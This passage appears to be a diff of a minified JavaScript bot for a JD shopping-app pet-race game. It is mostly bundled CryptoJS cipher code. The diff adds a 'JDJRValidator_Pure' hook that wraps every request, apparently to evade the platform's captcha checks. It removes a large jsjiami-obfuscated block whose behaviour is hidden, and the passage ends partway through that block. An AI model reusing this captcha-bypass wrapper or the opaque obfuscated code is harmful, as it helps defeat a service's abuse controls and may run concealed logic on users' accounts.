4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); - const $ = new Env('宠汪汪赛跑'); +const zooFaker = require('./JDJRValidator_Pure'); +$.get = zooFaker.injectToRequest2($.get.bind($)); +$.post = zooFaker.injectToRequest2($.post.bind($)); //宠汪汪赛跑所需token,默认读取作者服务器的 //需自行抓包,宠汪汪小程序获取token,点击`发现`或`我的`,寻找`^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=`获取token let jdJoyRunToken = ''; -var _0xodY='jsjiami.com.v6',_0x1018=[_0xodY,'VcKxVVV2w7PDtsOWwqzCo8Oqw4hN','44GN5o+c56eH44CS5p6y5a+K5p+156ezXcK1A2rDkuWkkeaXvO+/kuiusOmEj+aWveiOieWMlA==','w6cgP+eVheaKh+W9u+S/jOaTk+e3kVLmnqXlrqfmnYXnpLnDkuWzjuernuW4qj/ng6Xlhqrlua3pgLnnmY085Y6T54+yMBMdfADlj77ljZvojZDljoNDEBzDnsKq','w54Dwr9fBA==','w77Di8OV','wovCj+e6t+S4s+mdpuWRuOWMuOeaveS6m+i+m+ignemAv+ivp+WJoeWLvEU=','UgLDlQ==','w60hHsO3','wp4uwpw=','a+i2k+WNmw==','wp3DrjTCosOt','YsO15byf5aex57uW5aec5Y2IwpjCow==','ACzovKbooY/pgZforp/liZXliZQ=','w4YgKxzDig==','SsOfd8KFHA==','CcO6Sn/CpA==','A8Oew53CrTc=','O2BSwpDDtT4=','wqfCuMOGTQ==','w6MRTcKiw7Q=','w5jDkMOcaA==','HTzDucKrKg==','RMODdA==','w6nCqwLCt8O+','bBMfZMKH','bsKGZ31M','wr7CkiXDiw4=','wrYPwq8Iwro=','6YCF6K+25Yu05Ymr57mU5py6776N','woIgwokOwoU=','W8OZcMKcFsOZw78=','w70yA8O7','wpVQw4LCpsOV','GcOMw67CuzA=','O2DCkmzCpQ==','wqzDuh3CgsOg','fsOEQMKeKQ==','fDLCokkt','wppow4rCuMOl','5bSK57q86K+Y5aa+5Yyxw5U=','wrzliprliJTovqjmiKPogInmrYMyw4/Dn8OBX8OAw4lqBuaakOS9uuiFk+W2hS0=','fATCvQ==','6Z2d6LSx6LeG5pa06Ze+bQ==','w4Vkw6wZcw==','wp7CmMKo','5YqW5YmO5aSu6LSf77yD6K2E5ae+5Y2zw5g=','RRsMccKw','w6xHw6snXQ==','w6fCpsOw','5b2j5aag57u55aS15Y6pw4Q=','w6BzL8Kfw7XDpcO4wrlP','dhUme8Km','wqDDv3lTwqzCgcKB','O8O9bg==','W8OJZ8KbEsOew60=','KWrCt2vCuA==','wpYEUMKm','w70IGSPDmQ==','wpzCrsOTacKZ','OcOtKcKPwq95w6gZw6k=','ejbDrzXCmg==','VcOLMTHCog==','w4JswqnClcOAwr/CisOiHg==','w7PCnS3CksOB','QsOIX8KQFMODw6I=','GMOgURU1JMKDUcOR','Sj/Ck1cs','w6o1w7Jzw74=','wpnCjzo=','5LmB5Li16Lam5YyE','PmtYwpLDuQ==','wqLorZLphaLmlrDnm4jlvq3ojI3lj77DkcKYw4TDhD0wSsO8wpfCicO4GmQ7wqpUNcO/eMKcdlPDksOmw67ChsOkwrcODmlSBMKMwo52w78fB2U7LMKzCQ==','wrHDqC95fg==','w6RDwrzCtsOrwrnCgw==','Y8Oqw5FRYg==','wq8dwpgSVQ==','IsOaw4LCmiMrwot4wqoTKsKa','wr8gaQ==','w7gMb8KBw7LCgn8=','dhh7','SgdJSQ1a','w7jChTvCs8O1','NgLCtGwnC8KCDMKODzB0DzRjw5DCscOfwoMWBC7DlFp1M8OubDAWScOiw6jCjQBOwpvCoDsaw5QdwqkQZjTDsMKzw5vDt8OzaMKGwqjCpXshw5vDssK0','w6AAGw==','w5LDqT7CscO6w69KZ8OFwoPCsgs8w7vCpcOhRcKNIRZuMjRqchIk','w601PcO8Rg==','McOvVWDCkA==','wqbCn8OecMKO','NMOocGMG','wrzCs8OtwqfDpA==','REvDt8K3','fQVfaCk=','wpXDilJGbg==','wqnCvsOU','w70qQcOS','wrkSJ8OT6K+95rO/5aa46LaU','FMOUWWXCsArCsXRP','KMO+clrCmQ==','RT1QLEc=','w4NWGsKew4o=','czkx','eOWItuWKm+i/ruaLquiBoOausntTw4opV0jCnUkS5pmZ5LyI6IeL5bW1wpk=','w7AxVcOAdA==','XgYf6K+g5rKc5aez6LW1','wrPDhQQ=','NnVMwpvDqDXDowAow6zDocOmbgPCsx0=','AMOUHA==','P2BQwofDnjnDqQ==','w7nCg8Ogwpho','w70TQsKOw7E=','w71Uw6U3cA==','wpMmwpElwqU=','w7wva8KGw6Q=','LCDDl8KPMMON','w5Q5w7lrw4VDLgZp','w7LDjcO6wrPDsQnCtsOqQFwTfcK0WmvCssOGwp9VWWMgwr8TwpHDgsKcwqLCtC0CEcOafRbDnsO0wpUXwqjDjsKzw7l+PmjDrsKxwqUYw7TDtw==','EMOfRBEk','w5LDsjXCtsOGw6taXsODwp/CsixswqXDucOIXsKnPwJiMj1majsfw4vDrcKNwp4EdsKLEMOAwrPCu8KNwq0=','w5ROw6BIwos=','w7nCqsOlwrl+','wobCgMO9d8KO','wr7DmxpId08=','w5MaLcOiSw==','w7xNM8KKw6A=','w7YHeA==','JGbCqVrCpA==','a8KXW3x7','GgF0ERE=','NwjDtsK3Pg==','Wy1ZEW0=','b8O1w5dVeA==','WEvDo8KGw4LDow==','w75GwoLCqsOp','w7jCvMO0wqJ4wo8p','FEluwpPDrQ==','w7rDgcOew7M/w5DCrA==','wr7Co8ODTMKfwovCo8KbaMOFKT8=','bMOiRsKRCw==','wr8vwroFWw==','Bm/CnQ==','6LWg6Lav5Yik5Yuv57i/5p2Y','w5xhw59ZwoI=','bz9uaRE=','wpwEScKi','wprCksKjw6rChMK4w7kTYgI=','dzM6Z8KBwq07','5ouH5YmSwr/ojpLlvbzniLnnsZ8=','W8K0a1s=','woAkwowcwpJFwqjDlAk=','cR95EG8Qw53Ckm0=','w6MHe8KMw7XCglQ+woE=','UwzDgizChU0=','w5I2J8OofQ==','wpLDsjnCosO7w6BcbcOSwog=','wpsEU8KcwpLCkCQf','wrrDhUnnlJjmi77lvZzkvJPmkZLntKLDqeafvOWtpeadgOekp8K+5bOQ56u25bi2JueDvOWEtOW7u+mBsOeamh3lj6bnjrdCwo7Dt8KFwqDlja3lj4nojZ/ljITDvyjClsOlPQ==','eB7CqlUb','w6luOg==','CsKy57uQ5Lif6Zyz5ZCA5Y+c55q95Lub6Lyd6KOV6LSG6Len5YmX5Yu3GQ==','w7/DhcOC','w7FzNMKd','w7QyBw==','ZBnCs3c=','GcOJFw==','aei1jeWPlw==','wqVF5by95aSI57ij5aaI5Y6DTzE=','wqVF6L+m6KKP6Lah6LSk5Yuh5Yu0','KWXCr2/Ckg==','w4nCgi/CjsOF','Pn3CiFbCkQ==','w4Bvw4o=','6IaL5bWE6LaK5YyZ772K6La26Ly4','5o+A5LuPwo51JRrCieW9neW7mUA=','w6/CqMOjwqA=','w7bCgSw=','w75CwoTCi8OtwrPCiMOZFcKQwrzCjsKmw40=','wowMb8Kvwr8=','VxHDqg==','w7zDrcOKw7Ep','bwVw','5b2q5aeL6Lah6LeF5Yup5YuA5aSy5Y+Qw4k=','wrPDnRxXdjYCXUQ=','w79Yw7V9wpM=','EsOAw4/CjSM2wow=','5p6d5a+H5py056e/5a2a5rKf5rCiGwVITzXlpI/ml4c=','wp5Mw7TCl8OCw7PDpQ==','w79Qw6wDeQ==','fgrCt38=','w5wpGA7DtA==','w50pVcKhw4vCiX0iwoI=','w6JrKsKIw54=','wrAnwqYeWQ==','GsO3Vzw1DsKJW8OQK8Kewq9Qw4TClg==','w6kyBcOpbw==','M8OFw6XCqzM=','XQzDpBHCgsKgecO9w6Ih','wqAxwrI4wpU=','w4TDgMOBZ8OHwpA=','5LuS5aSY5Y+25L2Y5p6f6Lyu6KCE6YOv6K6d5YqK5YqxUQ==','CSHDjcKeIA==','VwbDiRnCqFBT','wp8ENsO0wq0=','w41ww51Gwo4SwpTDgsK4wrjDrMKzKCTCuxs=','wr/CucOBVcKYw5Q=','HcOVTF80','w4sPbcKFw6Q=','wrbDmDHCjsOk','UTvCk+ivreawjOWljui3gg==','w5IvR8Kjw4s=','UwTCtXEnGg==','w6TDrsO2TMOnwpfDkU3CtQ==','wr7CvMKWw5bCg8Kjw7MCeQ==','w7zCpX5CwqjChcOcJGTCqMO6wqsmbsO9w7HCnsOWQWrDoA3Dt3NXWGlKwqrDs8KTwoV9ScKFwrDDijPDksOoNhcQwrs0WHzCjyXDo8O5w4nCr8OC','bcOBw5U=','wrDCo8O6fcK5','wpo5KcOzwog=','w74MZMK6w54=','QBxSEVo=','w48VChTDhA==','F0VuwpjDtg==','bsKPVEBn','YR1TRwA=','wprCnTDDnQ==','w6BrNMKTw5U=','w7ZGw6thwpA=','wprDoTh/VQ==','SArDvx3CgsKjQMOyw7U=','woc8EsOOwpk=','wqIjwpkRwoQ=','w5kGQ8OTcQ==','wrHCjcO5','5ouM5Yi7COiOk+W+j+eLqueysw==','WMOdAjY=','wokgwrIHalTCr8Kldg==','wpDDoSTCpg==','YwXCsGoA','wqpPw47CoMOE','LWbCtEcn','GMOON8KGwog=','YAZQSxBaSMKHwr3Cq8OkWg==','5Lql6YOW6K6h5Yq+5YmF5ouS5YuPw7TojL/lvrE=','wrxuw4bCgsOl','wrfCpMOdwqgFwpLCnDsJ','wrHDjEVhcw==','D8OnTSgiEMKNR8OQ','5Lim6LWo6LWe5YuG5Yqu5oic5Yq4eOiMiuW8oeeJs+eynw==','w65Gw6E9UHtGJsOZ','UhDDgg==','wr8JLMOh','5Li15LmP6LWR5Y2t','fApLUBA=','MWPCmg==','wr7DuX0=','VsKceGJ1','QkbDlMKUw7s=','w78qZMK9w5Y=','wpfDvyfor4/msYblpYTotYg=','WQbDuxfCtQ==','w6Zhw6FQwrQ=','w6tFw7k=','w7vCnjvCqMOOw6kOw5hZw53Ds8OTwoJOV8OA','w7rDkMOGw7MTwoU=','ZRnCtg==','w75UwpjCgMOv','ScOJw4Vabg==','w5sLATrDuw==','WAbDkS/ChVZdJkVfc8OqwqBIwoY=','IwTDocKoDcOHwqTCtcOK','w75HJcO2wo5swp/DncKoKMKzw6pjFToFwp7Co8ORwrhkFMKFa1ILRcKYYEpPw6ZeVcKSwp3CmWsFViomwprDl0V5G8OQw7Zhwp7Dj3DDtMObNB4hRGTDjSE5w7LChnXDpcKRwo8=','wofCr8OTb8Kp','OsOgJ8KQwpE=','PcO0V37CjQ==','JR3DrsKKDA==','wq/CpcOnwrMq','MMOXWkIL','w75uw55nwqU=','wqdxw5DCksOK','wp8ASQ==','wrzDizFSawwyUE82OMOLdcKXFyZc','UgzDlxHCpA==','HgTDvcKuOA==','S8KFeGte','wrzCg8Kqw67Cvg==','BcOQw6bClCg=','bCIkfsKwwqU5wr7DsQ==','JsOaX3Mc','DwRH','Sx/DvwfCiQ==','w7Q2BMOpa8Oaw6w=','5o245LiBw7tvw5jCncOU5byq5bujw4o=','TkbDoMKww6A=','w5gDPuitreaxiOWmjOi2rA==','VxHDqjHCnsK2','GXTCiH0uPCZ9wpA=','T8KgbFI=','eDMic8K/wrYx','OjnDl8KRAA==','w6UHf8KZ','w7Z1L8KZw6nDgQ==','wrTDmlNVwrk=','AG3CmGci','AWlGwrTDsg==','6K6g5Yu66Zqz5oe45Z6pFMOtDAvDsOi8nOWGrOahguS+nuaXpeWHtuWvhi/lurnorrHpgo7ovpvohqvmnprlj5PojbLljo8mwpvDpjvCssOv','Twx0Bnw=','O8OZYHUo','wrDDi2Vhak8=','ehxUSwpYc8KEwrM=','H8OLEsKwwoE=','w54sB